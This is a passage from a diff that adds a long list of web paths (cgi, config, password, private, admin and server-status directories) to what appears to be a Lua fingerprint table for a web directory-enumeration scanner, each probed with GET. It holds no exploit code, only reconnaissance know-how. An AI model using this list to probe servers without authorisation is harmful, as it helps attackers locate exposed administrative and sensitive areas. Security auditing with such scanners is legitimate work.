+ method = 'GET'
+ },
+ {
+ path = '/cgi/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-home/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-lib/',
+ method = 'GET'
+ },
+ {
+ path = '/cgilib/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-local/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-perl/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-scripts/',
+ method = 'GET'
+ },
+ {
+ path = '/cgiscripts/',
+ method = 'GET'
+ },
+ {
+ path = '/cgis/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-shl/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-shop/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-sys/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-weddico/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-win/',
+ method = 'GET'
+ },
+ {
+ path = '/cgiwin/',
+ method = 'GET'
+ },
+ {
+ path = '/class/',
+ method = 'GET'
+ },
+ {
+ path = '/classes/',
+ method = 'GET'
+ },
+ {
+ path = '/cliente/',
+ method = 'GET'
+ },
+ {
+ path = '/clientes/',
+ method = 'GET'
+ },
+ {
+ path = '/client/',
+ method = 'GET'
+ },
+ {
+ path = '/clients/',
+ method = 'GET'
+ },
+ {
+ path = '/cm/',
+ method = 'GET'
+ },
+ {
+ path = '/cobalt-images/',
+ method = 'GET'
+ },
+ {
+ path = '/code/',
+ method = 'GET'
+ },
+ {
+ path = '/com/',
+ method = 'GET'
+ },
+ {
+ path = '/comments/',
+ method = 'GET'
+ },
+ {
+ path = '/common/',
+ method = 'GET'
+ },
+ {
+ path = '/communicator/',
+ method = 'GET'
+ },
+ {
+ path = '/company/',
+ method = 'GET'
+ },
+ {
+ path = '/comp/',
+ method = 'GET'
+ },
+ {
+ path = '/compra/',
+ method = 'GET'
+ },
+ {
+ path = '/compras/',
+ method = 'GET'
+ },
+ {
+ path = '/compressed/',
+ method = 'GET'
+ },
+ {
+ path = '/conecta/',
+ method = 'GET'
+ },
+ {
+ path = '/conf/',
+ method = 'GET'
+ },
+ {
+ path = '/config/',
+ method = 'GET'
+ },
+ {
+ path = '/configs/',
+ method = 'GET'
+ },
+ {
+ path = '/configure/',
+ method = 'GET'
+ },
+ {
+ path = '/connect/',
+ method = 'GET'
+ },
+ {
+ path = '/console/',
+ method = 'GET'
+ },
+ {
+ path = '/contact/',
+ method = 'GET'
+ },
+ {
+ path = '/contacts/',
+ method = 'GET'
+ },
+ {
+ path = '/content/',
+ method = 'GET'
+ },
+ {
+ path = '/content.ie5/',
+ method = 'GET'
+ },
+ {
+ path = '/controlpanel/',
+ method = 'GET'
+ },
+ {
+ path = '/core/',
+ method = 'GET'
+ },
+ {
+ path = '/corp/',
+ method = 'GET'
+ },
+ {
+ path = '/correo/',
+ method = 'GET'
+ },
+ {
+ path = '/counter/',
+ method = 'GET'
+ },
+ {
+ path = '/credit/',
+ method = 'GET'
+ },
+ {
+ path = '/cron/',
+ method = 'GET'
+ },
+ {
+ path = '/crons/',
+ method = 'GET'
+ },
+ {
+ path = '/crypto/',
+ method = 'GET'
+ },
+ {
+ path = '/CS/',
+ method = 'GET'
+ },
+ {
+ path = '/csr/',
+ method = 'GET'
+ },
+ {
+ path = '/css/',
+ method = 'GET'
+ },
+ {
+ path = '/cuenta/',
+ method = 'GET'
+ },
+ {
+ path = '/cuentas/',
+ method = 'GET'
+ },
+ {
+ path = '/currency/',
+ method = 'GET'
+ },
+ {
+ path = '/cust/',
+ method = 'GET'
+ },
+ {
+ path = '/customer/',
+ method = 'GET'
+ },
+ {
+ path = '/customers/',
+ method = 'GET'
+ },
+ {
+ path = '/custom/',
+ method = 'GET'
+ },
+ {
+ path = '/CVS/',
+ method = 'GET'
+ },
+ {
+ path = '/cvsweb/',
+ method = 'GET'
+ },
+ {
+ path = '/cybercash/',
+ method = 'GET'
+ },
+ {
+ path = '/darkportal/',
+ method = 'GET'
+ },
+ {
+ path = '/database/',
+ method = 'GET'
+ },
+ {
+ path = '/databases/',
+ method = 'GET'
+ },
+ {
+ path = '/datafiles/',
+ method = 'GET'
+ },
+ {
+ path = '/dat/',
+ method = 'GET'
+ },
+ {
+ path = '/data/',
+ method = 'GET'
+ },
+ {
+ path = '/dato/',
+ method = 'GET'
+ },
+ {
+ path = '/datos/',
+ method = 'GET'
+ },
+ {
+ path = '/db/',
+ method = 'GET'
+ },
+ {
+ path = '/dbase/',
+ method = 'GET'
+ },
+ {
+ path = '/dcforum/',
+ method = 'GET'
+ },
+ {
+ path = '/ddreport/',
+ method = 'GET'
+ },
+ {
+ path = '/ddrint/',
+ method = 'GET'
+ },
+ {
+ path = '/debug/',
+ method = 'GET'
+ },
+ {
+ path = '/debugs/',
+ method = 'GET'
+ },
+ {
+ path = '/default/',
+ method = 'GET'
+ },
+ {
+ path = '/deleted/',
+ method = 'GET'
+ },
+ {
+ path = '/delete/',
+ method = 'GET'
+ },
+ {
+ path = '/demoauct/',
+ method = 'GET'
+ },
+ {
+ path = '/demomall/',
+ method = 'GET'
+ },
+ {
+ path = '/demo/',
+ method = 'GET'
+ },
+ {
+ path = '/demos/',
+ method = 'GET'
+ },
+ {
+ path = '/demouser/',
+ method = 'GET'
+ },
+ {
+ path = '/deny/',
+ method = 'GET'
+ },
+ {
+ path = '/derived/',
+ method = 'GET'
+ },
+ {
+ path = '/design/',
+ method = 'GET'
+ },
+ {
+ path = '/dev/',
+ method = 'GET'
+ },
+ {
+ path = '/devel/',
+ method = 'GET'
+ },
+ {
+ path = '/development/',
+ method = 'GET'
+ },
+ {
+ path = '/directories/',
+ method = 'GET'
+ },
+ {
+ path = '/directory/',
+ method = 'GET'
+ },
+ {
+ path = '/directorymanager/',
+ method = 'GET'
+ },
+ {
+ path = '/dir/',
+ method = 'GET'
+ },
+ {
+ path = '/dl/',
+ method = 'GET'
+ },
+ {
+ path = '/dm/',
+ method = 'GET'
+ },
+ {
+ path = '/DMR/',
+ method = 'GET'
+ },
+ {
+ path = '/dms0/',
+ method = 'GET'
+ },
+ {
+ path = '/dmsdump/',
+ method = 'GET'
+ },
+ {
+ path = '/dms/',
+ method = 'GET'
+ },
+ {
+ path = '/dnn/',
+ method = 'GET'
+ },
+ {
+ path = '/doc1/',
+ method = 'GET'
+ },
+ {
+ path = '/doc/',
+ method = 'GET'
+ },
+ {
+ path = '/doc-html/',
+ method = 'GET'
+ },
+ {
+ path = '/docs1/',
+ method = 'GET'
+ },
+ {
+ path = '/docs/',
+ method = 'GET'
+ },
+ {
+ path = '/DocuColor/',
+ method = 'GET'
+ },
+ {
+ path = '/documentation/',
+ method = 'GET'
+ },
+ {
+ path = '/document/',
+ method = 'GET'
+ },
+ {
+ path = '/documents/',
+ method = 'GET'
+ },
+ {
+ path = '/dotnetnuke/',
+ method = 'GET'
+ },
+ {
+ path = '/down/',
+ method = 'GET'
+ },
+ {
+ path = '/download/',
+ method = 'GET'
+ },
+ {
+ path = '/downloads/',
+ method = 'GET'
+ },
+ {
+ path = '/dump/',
+ method = 'GET'
+ },
+ {
+ path = '/durep/',
+ method = 'GET'
+ },
+ {
+ path = '/easylog/',
+ method = 'GET'
+ },
+ {
+ path = '/eforum/',
+ method = 'GET'
+ },
+ {
+ path = '/ejemplo/',
+ method = 'GET'
+ },
+ {
+ path = '/ejemplos/',
+ method = 'GET'
+ },
+ {
+ path = '/emailclass/',
+ method = 'GET'
+ },
+ {
+ path = '/email/',
+ method = 'GET'
+ },
+ {
+ path = '/employees/',
+ method = 'GET'
+ },
+ {
+ path = '/empoyees/',
+ method = 'GET'
+ },
+ {
+ path = '/empris/',
+ method = 'GET'
+ },
+ {
+ path = '/enter/',
+ method = 'GET'
+ },
+ {
+ path = '/envia/',
+ method = 'GET'
+ },
+ {
+ path = '/enviamail/',
+ method = 'GET'
+ },
+ {
+ path = '/error.html',
+ method = 'GET'
+ },
+ {
+ path = '/error/',
+ method = 'GET'
+ },
+ {
+ path = '/errors/',
+ method = 'GET'
+ },
+ {
+ path = '/es/',
+ method = 'GET'
+ },
+ {
+ path = '/estmt/',
+ method = 'GET'
+ },
+ {
+ path = '/etc/',
+ method = 'GET'
+ },
+ {
+ path = '/etcpasswd/',
+ method = 'GET'
+ },
+ {
+ path = '/excel/',
+ method = 'GET'
+ },
+ {
+ path = '/exc/',
+ method = 'GET'
+ },
+ {
+ path = '/exchange/',
+ method = 'GET'
+ },
+ {
+ path = '/exchweb/',
+ method = 'GET'
+ },
+ {
+ path = '/exec/',
+ method = 'GET'
+ },
+ {
+ path = '/exe/',
+ method = 'GET'
+ },
+ {
+ path = '/exit/',
+ method = 'GET'
+ },
+ {
+ path = '/export/',
+ method = 'GET'
+ },
+ {
+ path = '/external/',
+ method = 'GET'
+ },
+ {
+ path = '/extranet/',
+ method = 'GET'
+ },
+ {
+ path = '/failure/',
+ method = 'GET'
+ },
+ {
+ path = '/fbsd/',
+ method = 'GET'
+ },
+ {
+ path = '/fcgi-bin/',
+ method = 'GET'
+ },
+ {
+ path = '/fcgi/',
+ method = 'GET'
+ },
+ {
+ path = '/features/',
+ method = 'GET'
+ },
+ {
+ path = '/fileadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/file/',
+ method = 'GET'
+ },
+ {
+ path = '/filemanager/',
+ method = 'GET'
+ },
+ {
+ path = '/files/',
+ method = 'GET'
+ },
+ {
+ path = '/find/',
+ method = 'GET'
+ },
+ {
+ path = '/flash/',
+ method = 'GET'
+ },
+ {
+ path = '/foldoc/',
+ method = 'GET'
+ },
+ {
+ path = '/foobar/',
+ method = 'GET'
+ },
+ {
+ path = '/foo/',
+ method = 'GET'
+ },
+ {
+ path = '/form/',
+ method = 'GET'
+ },
+ {
+ path = '/forms/',
+ method = 'GET'
+ },
+ {
+ path = '/formsmgr/',
+ method = 'GET'
+ },
+ {
+ path = '/form-totaller/',
+ method = 'GET'
+ },
+ {
+ path = '/foto/',
+ method = 'GET'
+ },
+ {
+ path = '/fotos/',
+ method = 'GET'
+ },
+ {
+ path = '/fpadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/fpclass/',
+ method = 'GET'
+ },
+ {
+ path = '/fpdb/',
+ method = 'GET'
+ },
+ {
+ path = '/fpe/',
+ method = 'GET'
+ },
+ {
+ path = '/framesets/',
+ method = 'GET'
+ },
+ {
+ path = '/frames/',
+ method = 'GET'
+ },
+ {
+ path = '/frontpage/',
+ method = 'GET'
+ },
+ {
+ path = '/ftp/',
+ method = 'GET'
+ },
+ {
+ path = '/ftproot/',
+ method = 'GET'
+ },
+ {
+ path = '/func/',
+ method = 'GET'
+ },
+ {
+ path = '/function/',
+ method = 'GET'
+ },
+ {
+ path = '/functions/',
+ method = 'GET'
+ },
+ {
+ path = '/fun/',
+ method = 'GET'
+ },
+ {
+ path = '/general/',
+ method = 'GET'
+ },
+ {
+ path = '/gfx/',
+ method = 'GET'
+ },
+ {
+ path = '/gif/',
+ method = 'GET'
+ },
+ {
+ path = '/gifs/',
+ method = 'GET'
+ },
+ {
+ path = '/global/',
+ method = 'GET'
+ },
+ {
+ path = '/globals/',
+ method = 'GET'
+ },
+ {
+ path = '/good/',
+ method = 'GET'
+ },
+ {
+ path = '/graphics/',
+ method = 'GET'
+ },
+ {
+ path = '/grocery/',
+ method = 'GET'
+ },
+ {
+ path = '/guestbook/',
+ method = 'GET'
+ },
+ {
+ path = '/guest/',
+ method = 'GET'
+ },
+ {
+ path = '/guests/',
+ method = 'GET'
+ },
+ {
+ path = '/GXApp/',
+ method = 'GET'
+ },
+ {
+ path = '/HB/',
+ method = 'GET'
+ },
+ {
+ path = '/HBTemplates/',
+ method = 'GET'
+ },
+ {
+ path = '/helpdesk/',
+ method = 'GET'
+ },
+ {
+ path = '/help/',
+ method = 'GET'
+ },
+ {
+ path = '/hidden/',
+ method = 'GET'
+ },
+ {
+ path = '/hide/',
+ method = 'GET'
+ },
+ {
+ path = '/hitmatic/',
+ method = 'GET'
+ },
+ {
+ path = '/hit_tracker/',
+ method = 'GET'
+ },
+ {
+ path = '/hlstats/',
+ method = 'GET'
+ },
+ {
+ path = '/home/',
+ method = 'GET'
+ },
+ {
+ path = '/hosted/',
+ method = 'GET'
+ },
+ {
+ path = '/host/',
+ method = 'GET'
+ },
+ {
+ path = '/hostingcontroller/',
+ method = 'GET'
+ },
+ {
+ path = '/hosting/',
+ method = 'GET'
+ },
+ {
+ path = '/hp/',
+ method = 'GET'
+ },
+ {
+ path = '/htbin/',
+ method = 'GET'
+ },
+ {
+ path = '/htdocs/',
+ method = 'GET'
+ },
+ {
+ path = '/ht/',
+ method = 'GET'
+ },
+ {
+ path = '/htm/',
+ method = 'GET'
+ },
+ {
+ path = '/html/',
+ method = 'GET'
+ },
+ {
+ path = '/http/',
+ method = 'GET'
+ },
+ {
+ path = '/https/',
+ method = 'GET'
+ },
+ {
+ path = '/hyperstat/',
+ method = 'GET'
+ },
+ {
+ path = '/i18n/',
+ method = 'GET'
+ },
+ {
+ path = '/ibank/',
+ method = 'GET'
+ },
+ {
+ path = '/ibill/',
+ method = 'GET'
+ },
+ {
+ path = '/IBMWebAS/',
+ method = 'GET'
+ },
+ {
+ path = '/icons/',
+ method = 'GET'
+ },
+ {
+ path = '/idea/',
+ method = 'GET'
+ },
+ {
+ path = '/ideas/',
+ method = 'GET'
+ },
+ {
+ path = '/I/',
+ method = 'GET'
+ },
+ {
+ path = '/iisadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/image/',
+ method = 'GET'
+ },
+ {
+ path = '/images/',
+ method = 'GET'
+ },
+ {
+ path = '/imagenes/',
+ method = 'GET'
+ },
+ {
+ path = '/imagery/',
+ method = 'GET'
+ },
+ {
+ path = '/img/',
+ method = 'GET'
+ },
+ {
+ path = '/imp/',
+ method = 'GET'
+ },
+ {
+ path = '/import/',
+ method = 'GET'
+ },
+ {
+ path = '/impreso/',
+ method = 'GET'
+ },
+ {
+ path = '/inc/',
+ method = 'GET'
+ },
+ {
+ path = '/include/',
+ method = 'GET'
+ },
+ {
+ path = '/includes/',
+ method = 'GET'
+ },
+ {
+ path = '/incoming/',
+ method = 'GET'
+ },
+ {
+ path = '/index/',
+ method = 'GET'
+ },
+ {
+ path = '/inet/',
+ method = 'GET'
+ },
+ {
+ path = '/inf/',
+ method = 'GET'
+ },
+ {
+ path = '/info/',
+ method = 'GET'
+ },
+ {
+ path = '/information/',
+ method = 'GET'
+ },
+ {
+ path = '/in/',
+ method = 'GET'
+ },
+ {
+ path = '/ingresa/',
+ method = 'GET'
+ },
+ {
+ path = '/ingreso/',
+ method = 'GET'
+ },
+ {
+ path = '/install/',
+ method = 'GET'
+ },
+ {
+ path = '/internal/',
+ method = 'GET'
+ },
+ {
+ path = '/internet/',
+ method = 'GET'
+ },
+ {
+ path = '/intranet/',
+ method = 'GET'
+ },
+ {
+ path = '/inventory/',
+ method = 'GET'
+ },
+ {
+ path = '/invitado/',
+ method = 'GET'
+ },
+ {
+ path = '/isapi/',
+ method = 'GET'
+ },
+ {
+ path = '/j2ee/',
+ method = 'GET'
+ },
+ {
+ path = '/japidoc/',
+ method = 'GET'
+ },
+ {
+ path = '/java/',
+ method = 'GET'
+ },
+ {
+ path = '/javascript/',
+ method = 'GET'
+ },
+ {
+ path = '/javasdk/',
+ method = 'GET'
+ },
+ {
+ path = '/javatest/',
+ method = 'GET'
+ },
+ {
+ path = '/jave/',
+ method = 'GET'
+ },
+ {
+ path = '/JBookIt/',
+ method = 'GET'
+ },
+ {
+ path = '/jdbc/',
+ method = 'GET'
+ },
+ {
+ path = '/job/',
+ method = 'GET'
+ },
+ {
+ path = '/jrun/',
+ method = 'GET'
+ },
+ {
+ path = '/jsa/',
+ method = 'GET'
+ },
+ {
+ path = '/jscript/',
+ method = 'GET'
+ },
+ {
+ path = '/jserv/',
+ method = 'GET'
+ },
+ {
+ path = '/js/',
+ method = 'GET'
+ },
+ {
+ path = '/jslib/',
+ method = 'GET'
+ },
+ {
+ path = '/jsp/',
+ method = 'GET'
+ },
+ {
+ path = '/junk/',
+ method = 'GET'
+ },
+ {
+ path = '/kiva/',
+ method = 'GET'
+ },
+ {
+ path = '/known/',
+ method = 'GET'
+ },
+ {
+ path = '/labs/',
+ method = 'GET'
+ },
+ {
+ path = '/lcgi/',
+ method = 'GET'
+ },
+ {
+ path = '/lib/',
+ method = 'GET'
+ },
+ {
+ path = '/libraries/',
+ method = 'GET'
+ },
+ {
+ path = '/library/',
+ method = 'GET'
+ },
+ {
+ path = '/libro/',
+ method = 'GET'
+ },
+ {
+ path = '/license/',
+ method = 'GET'
+ },
+ {
+ path = '/licenses/',
+ method = 'GET'
+ },
+ {
+ path = '/links/',
+ method = 'GET'
+ },
+ {
+ path = '/linux/',
+ method = 'GET'
+ },
+ {
+ path = '/loader/',
+ method = 'GET'
+ },
+ {
+ path = '/local/',
+ method = 'GET'
+ },
+ {
+ path = '/location/',
+ method = 'GET'
+ },
+ {
+ path = '/locations/',
+ method = 'GET'
+ },
+ {
+ path = '/logfile/',
+ method = 'GET'
+ },
+ {
+ path = '/logfiles/',
+ method = 'GET'
+ },
+ {
+ path = '/logger/',
+ method = 'GET'
+ },
+ {
+ path = '/logg/',
+ method = 'GET'
+ },
+ {
+ path = '/logging/',
+ method = 'GET'
+ },
+ {
+ path = '/logon/',
+ method = 'GET'
+ },
+ {
+ path = '/logout/',
+ method = 'GET'
+ },
+ {
+ path = '/lost+found/',
+ method = 'GET'
+ },
+ {
+ path = '/mailman/',
+ method = 'GET'
+ },
+ {
+ path = '/mailroot/',
+ method = 'GET'
+ },
+ {
+ path = '/makefile/',
+ method = 'GET'
+ },
+ {
+ path = '/manage/',
+ method = 'GET'
+ },
+ {
+ path = '/management/',
+ method = 'GET'
+ },
+ {
+ path = '/man/',
+ method = 'GET'
+ },
+ {
+ path = '/manual/',
+ method = 'GET'
+ },
+ {
+ path = '/map/',
+ method = 'GET'
+ },
+ {
+ path = '/maps/',
+ method = 'GET'
+ },
+ {
+ path = '/marketing/',
+ method = 'GET'
+ },
+ {
+ path = '/member/',
+ method = 'GET'
+ },
+ {
+ path = '/members/',
+ method = 'GET'
+ },
+ {
+ path = '/mem_bin/',
+ method = 'GET'
+ },
+ {
+ path = '/mem/',
+ method = 'GET'
+ },
+ {
+ path = '/message/',
+ method = 'GET'
+ },
+ {
+ path = '/messaging/',
+ method = 'GET'
+ },
+ {
+ path = '/metacart/',
+ method = 'GET'
+ },
+ {
+ path = '/microsoft/',
+ method = 'GET'
+ },
+ {
+ path = '/misc/',
+ method = 'GET'
+ },
+ {
+ path = '/mkstats/',
+ method = 'GET'
+ },
+ {
+ path = '/mod/',
+ method = 'GET'
+ },
+ {
+ path = '/module/',
+ method = 'GET'
+ },
+ {
+ path = '/modules/',
+ method = 'GET'
+ },
+ {
+ path = '/movimientos/',
+ method = 'GET'
+ },
+ {
+ path = '/mpcgi/',
+ method = 'GET'
+ },
+ {
+ path = '/mqseries/',
+ method = 'GET'
+ },
+ {
+ path = '/msfpe/',
+ method = 'GET'
+ },
+ {
+ path = '/ms/',
+ method = 'GET'
+ },
+ {
+ path = '/msql/',
+ method = 'GET'
+ },
+ {
+ path = '/Msword/',
+ method = 'GET'
+ },
+ {
+ path = '/mxhtml/',
+ method = 'GET'
+ },
+ {
+ path = '/mxportal/',
+ method = 'GET'
+ },
+ {
+ path = '/my/',
+ method = 'GET'
+ },
+ {
+ path = '/My%20Shared%20Folder/',
+ method = 'GET'
+ },
+ {
+ path = '/mysql_admin/',
+ method = 'GET'
+ },
+ {
+ path = '/mysql/',
+ method = 'GET'
+ },
+ {
+ path = '/name/',
+ method = 'GET'
+ },
+ {
+ path = '/names/',
+ method = 'GET'
+ },
+ {
+ path = '/ncadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/nchelp/',
+ method = 'GET'
+ },
+ {
+ path = '/netbasic/',
+ method = 'GET'
+ },
+ {
+ path = '/netcat/',
+ method = 'GET'
+ },
+ {
+ path = '/NetDynamic/',
+ method = 'GET'
+ },
+ {
+ path = '/NetDynamics/',
+ method = 'GET'
+ },
+ {
+ path = '/net/',
+ method = 'GET'
+ },
+ {
+ path = '/netmagstats/',
+ method = 'GET'
+ },
+ {
+ path = '/netscape/',
+ method = 'GET'
+ },
+ {
+ path = '/netshare/',
+ method = 'GET'
+ },
+ {
+ path = '/nettracker/',
+ method = 'GET'
+ },
+ {
+ path = '/network/',
+ method = 'GET'
+ },
+ {
+ path = '/new/',
+ method = 'GET'
+ },
+ {
+ path = '/news/',
+ method = 'GET'
+ },
+ {
+ path = '/News/',
+ method = 'GET'
+ },
+ {
+ path = '/nextgeneration/',
+ method = 'GET'
+ },
+ {
+ path = '/nl/',
+ method = 'GET'
+ },
+ {
+ path = '/notes/',
+ method = 'GET'
+ },
+ {
+ path = '/noticias/',
+ method = 'GET'
+ },
+ {
+ path = '/NSearch/',
+ method = 'GET'
+ },
+ {
+ path = '/objects/',
+ method = 'GET'
+ },
+ {
+ path = '/odbc/',
+ method = 'GET'
+ },
+ {
+ path = '/officescan/',
+ method = 'GET'
+ },
+ {
+ path = '/ojspdemos/',
+ method = 'GET'
+ },
+ {
+ path = '/old_files/',
+ method = 'GET'
+ },
+ {
+ path = '/oldfiles/',
+ method = 'GET'
+ },
+ {
+ path = '/old/',
+ method = 'GET'
+ },
+ {
+ path = '/oprocmgr-service/',
+ method = 'GET'
+ },
+ {
+ path = '/oprocmgr-status/',
+ method = 'GET'
+ },
+ {
+ path = '/oracle/',
+ method = 'GET'
+ },
+ {
+ path = '/oradata/',
+ method = 'GET'
+ },
+ {
+ path = '/order/',
+ method = 'GET'
+ },
+ {
+ path = '/orders/',
+ method = 'GET'
+ },
+ {
+ path = '/os/',
+ method = 'GET'
+ },
+ {
+ path = '/out/',
+ method = 'GET'
+ },
+ {
+ path = '/outgoing/',
+ method = 'GET'
+ },
+ {
+ path = '/owners/',
+ method = 'GET'
+ },
+ {
+ path = '/ows-bin/',
+ method = 'GET'
+ },
+ {
+ path = '/page/',
+ method = 'GET'
+ },
+ {
+ path = '/_pages/',
+ method = 'GET'
+ },
+ {
+ path = '/pages/',
+ method = 'GET'
+ },
+ {
+ path = '/partner/',
+ method = 'GET'
+ },
+ {
+ path = '/partners/',
+ method = 'GET'
+ },
+ {
+ path = '/passport/',
+ method = 'GET'
+ },
+ {
+ path = '/password/',
+ method = 'GET'
+ },
+ {
+ path = '/passwords/',
+ method = 'GET'
+ },
+ {
+ path = '/path/',
+ method = 'GET'
+ },
+ {
+ path = '/payment/',
+ method = 'GET'
+ },
+ {
+ path = '/payments/',
+ method = 'GET'
+ },
+ {
+ path = '/pccsmysqladm/',
+ method = 'GET'
+ },
+ {
+ path = '/PDG_Cart/',
+ method = 'GET'
+ },
+ {
+ path = '/perl5/',
+ method = 'GET'
+ },
+ {
+ path = '/perl/',
+ method = 'GET'
+ },
+ {
+ path = '/personal/',
+ method = 'GET'
+ },
+ {
+ path = '/pforum/',
+ method = 'GET'
+ },
+ {
+ path = '/phorum/',
+ method = 'GET'
+ },
+ {
+ path = '/phpBB/',
+ method = 'GET'
+ },
+ {
+ path = '/php_classes/',
+ method = 'GET'
+ },
+ {
+ path = '/phpclassifieds/',
+ method = 'GET'
+ },
+ {
+ path = '/php/',
+ method = 'GET'
+ },
+ {
+ path = '/phpimageview/',
+ method = 'GET'
+ },
+ {
+ path = '/phpnuke/',
+ method = 'GET'
+ },
+ {
+ path = '/phpPhotoAlbum/',
+ method = 'GET'
+ },
+ {
+ path = '/phpprojekt/',
+ method = 'GET'
+ },
+ {
+ path = '/phpSecurePages/',
+ method = 'GET'
+ },
+ {
+ path = '/pics/',
+ method = 'GET'
+ },
+ {
+ path = '/pictures/',
+ method = 'GET'
+ },
+ {
+ path = '/pike/',
+ method = 'GET'
+ },
+ {
+ path = '/piranha/',
+ method = 'GET'
+ },
+ {
+ path = '/pls/',
+ method = 'GET'
+ },
+ {
+ path = '/plsql/',
+ method = 'GET'
+ },
+ {
+ path = '/plssampleadmin_/',
+ method = 'GET'
+ },
+ {
+ path = '/plssampleadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/plssampleadmin_help/',
+ method = 'GET'
+ },
+ {
+ path = '/plssample/',
+ method = 'GET'
+ },
+ {
+ path = '/poll/',
+ method = 'GET'
+ },
+ {
+ path = '/polls/',
+ method = 'GET'
+ },
+ {
+ path = '/porn/',
+ method = 'GET'
+ },
+ {
+ path = '/portal/',
+ method = 'GET'
+ },
+ {
+ path = '/portals/',
+ method = 'GET'
+ },
+ {
+ path = '/postgres/',
+ method = 'GET'
+ },
+ {
+ path = '/postnuke/',
+ method = 'GET'
+ },
+ {
+ path = '/ppwb/',
+ method = 'GET'
+ },
+ {
+ path = '/printer/',
+ method = 'GET'
+ },
+ {
+ path = '/printers/',
+ method = 'GET'
+ },
+ {
+ path = '/privacy/',
+ method = 'GET'
+ },
+ {
+ path = '/privado/',
+ method = 'GET'
+ },
+ {
+ path = '/_private/',
+ method = 'GET'
+ },
+ {
+ path = '/private/',
+ method = 'GET'
+ },
+ {
+ path = '/priv/',
+ method = 'GET'
+ },
+ {
+ path = '/prod/',
+ method = 'GET'
+ },
+ {
+ path = '/projectserver/',
+ method = 'GET'
+ },
+ {
+ path = '/protected/',
+ method = 'GET'
+ },
+ {
+ path = '/proxy/',
+ method = 'GET'
+ },
+ {
+ path = '/prueba/',
+ method = 'GET'
+ },
+ {
+ path = '/pruebas/',
+ method = 'GET'
+ },
+ {
+ path = '/prv/',
+ method = 'GET'
+ },
+ {
+ path = '/pub/',
+ method = 'GET'
+ },
+ {
+ path = '/_public/',
+ method = 'GET'
+ },
+ {
+ path = '/public/',
+ method = 'GET'
+ },
+ {
+ path = '/publica/',
+ method = 'GET'
+ },
+ {
+ path = '/publicar/',
+ method = 'GET'
+ },
+ {
+ path = '/publico/',
+ method = 'GET'
+ },
+ {
+ path = '/publish/',
+ method = 'GET'
+ },
+ {
+ path = '/purchase/',
+ method = 'GET'
+ },
+ {
+ path = '/purchases/',
+ method = 'GET'
+ },
+ {
+ path = '/pw/',
+ method = 'GET'
+ },
+ {
+ path = '/python/',
+ method = 'GET'
+ },
+ {
+ path = '/random_banner/',
+ method = 'GET'
+ },
+ {
+ path = '/rdp/',
+ method = 'GET'
+ },
+ {
+ path = '/Readme/',
+ method = 'GET'
+ },
+ {
+ path = '/recycler/',
+ method = 'GET'
+ },
+ {
+ path = '/registered/',
+ method = 'GET'
+ },
+ {
+ path = '/register/',
+ method = 'GET'
+ },
+ {
+ path = '/registry/',
+ method = 'GET'
+ },
+ {
+ path = '/remote/',
+ method = 'GET'
+ },
+ {
+ path = '/remove/',
+ method = 'GET'
+ },
+ {
+ path = '/report/',
+ method = 'GET'
+ },
+ {
+ path = '/reports/',
+ method = 'GET'
+ },
+ {
+ path = '/reseller/',
+ method = 'GET'
+ },
+ {
+ path = '/restricted/',
+ method = 'GET'
+ },
+ {
+ path = '/retail/',
+ method = 'GET'
+ },
+ {
+ path = '/reveal/',
+ method = 'GET'
+ },
+ {
+ path = '/reviews/',
+ method = 'GET'
+ },
+ {
+ path = '/ROADS/',
+ method = 'GET'
+ },
+ {
+ path = '/robot/',
+ method = 'GET'
+ },
+ {
+ path = '/robots/',
+ method = 'GET'
+ },
+ {
+ path = '/root/',
+ method = 'GET'
+ },
+ {
+ path = '/rsrc/',
+ method = 'GET'
+ },
+ {
+ path = '/ruby/',
+ method = 'GET'
+ },
+ {
+ path = '/sales/',
+ method = 'GET'
+ },
+ {
+ path = '/save/',
+ method = 'GET'
+ },
+ {
+ path = '/script/',
+ method = 'GET'
+ },
+ {
+ path = '/ScriptLibrary/',
+ method = 'GET'
+ },
+ {
+ path = '/scripts/',
+ method = 'GET'
+ },
+ {
+ path = '/search/',
+ method = 'GET'
+ },
+ {
+ path = '/search-ui/',
+ method = 'GET'
+ },
+ {
+ path = '/sec/',
+ method = 'GET'
+ },
+ {
+ path = '/secret/',
+ method = 'GET'
+ },
+ {
+ path = '/secured/',
+ method = 'GET'
+ },
+ {
+ path = '/secure/',
+ method = 'GET'
+ },
+ {
+ path = '/security/',
+ method = 'GET'
+ },
+ {
+ path = '/sell/',
+ method = 'GET'
+ },
+ {
+ path = '/server/',
+ method = 'GET'
+ },
+ {
+ path = '/server-info/',
+ method = 'GET'
+ },
+ {
+ path = '/servers/',
+ method = 'GET'
+ },
+ {
+ path = '/server_stats/',
+ method = 'GET'
+ },
+ {
+ path = '/serverstats/',
+ method = 'GET'
+ },
+ {
+ path = '/server-status/',
+ method = 'GET'
+ },
+ {
+ path = '/service/',
+ method = 'GET'
+ },
+ {
+ path = '/services/',
+ method = 'GET'
+ },
+ {
+ path = '/servicio/',
+ method = 'GET'
+ },
+ {
+ path = '/servicios/',
+ method = 'GET'
+ },
+ {
+ path = '/servlet/',
+ method = 'GET'
+ },
+ {
+ path = '/servlets/',
+ method = 'GET'
+ },
+ {
+ path = '/session/',
+ method = 'GET'
+ },
+ {
+ path = '/setup/',
+ method = 'GET'
+ },
+ {
+ path = '/shared/',
+ method = 'GET'
+ },
+ {
+ path = '/sharedtemplates/',
+ method = 'GET'
+ },
+ {
+ path = '/share/',
+ method = 'GET'
+ },
+ {
+ path = '/shell-cgi/',
+ method = 'GET'
+ },
+ {
+ path = '/shipping/',
+ method = 'GET'
+ },
+ {
+ path = '/shop/',
+ method = 'GET'
+ },
+ {
+ path = '/shopper/',
+ method = 'GET'
+ },
+ {
+ path = '/show/',
+ method = 'GET'
+ },
+ {
+ path = '/SilverStream/',
+ method = 'GET'
+ },
+ {
+ path = '/siteadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/site/',
